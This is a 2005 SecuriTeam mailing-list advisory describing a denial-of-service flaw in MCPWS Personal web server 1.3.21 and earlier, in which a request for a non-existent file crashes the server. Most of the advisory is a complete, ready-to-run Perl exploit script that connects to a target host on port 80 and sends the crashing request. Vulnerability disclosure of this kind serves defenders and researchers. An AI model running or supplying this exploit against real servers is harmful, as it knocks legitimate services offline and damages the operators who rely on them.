[EXPL] MCPWS Personal DoS Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 03/23/05

  • Next message: SecuriTeam: "[UNIX] Download Center Lite Arbitrary File Inclusion" 
    To: list@securiteam.com
Date: 23 Mar 2005 12:55:36 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MCPWS Personal DoS Exploit
    ------------------------------------------------------------------------

    SUMMARY

    MCPWS Personal web server has been found to contain a vulnerability
    whereby requesting a non-existing file a remote attacker can trigger an
    error in the program causing it to no longer respond to legitimate
    requests.

    DETAILS

    Vulnerable Systems:
     * MCPWS Personal version 1.3.21 and prior

    Exploit:
    #!/usr/bin/perl

    # MCPWS Personal - Webserver <= 1.3.21 DoS Exploit
    # Vendor: http://www.mcpsoftware.de
    #
    # The coder used a unsecure VB-function (Open) to open requested files
    # and didn't include a working error handling (On Error Goto etc).
    # It's possible to exploit this vulnerability by requesting files
    # that don't exist. Successful exploitation results
    # in a runtime error that stops the process.
    #
    # Nico Spicher [http://triplex.it-helpnet.de/]

    use IO::Socket;

    if (@ARGV < 1)
     {
    system "clear";
    print "[-] MCPWS Personal-Web Server <= 1.3.21 DoS Exploit\n\n";
    print "[-] Usage: dos_mcpws.pl <host ip>\n";
    exit(1);
     }
    system "clear";

    $server = $ARGV[0];
    system "clear";
    print "[-] MCPWS Personal-Web Server <= 1.3.21 DoS Exploit\n\n";
    print "[-] Server IP: ";
    print $server;
    print "\n[-] Connecting to IP ...\n";

    $socket = IO::Socket::INET->new(
     Proto => "tcp",
     PeerAddr => "$server",
     PeerPort => "80"); unless ($socket) { die "[-] $server is offline\n" }

    print "[-] Connected\n\n";

    print "[-] Creating string\n";

      $string="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    # This file shouldn't exist :)

    print "[-] Sending string\n\n";

    print $socket "GET /".$string." HTTP/1.1\r\n\r\n";

    print "[>] Attack successful - Server killed\n";
    close($socket);

    ADDITIONAL INFORMATION

    The information has been provided by Nico Spicher.
    The original article can be found at:
    <http://triplex.it-helpnet.de/unsorted%20stuff/Exploits/mcpws.pl.txt>
    http://triplex.it-helpnet.de/unsorted%20stuff/Exploits/mcpws.pl.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Download Center Lite Arbitrary File Inclusion"

    Relevant Pages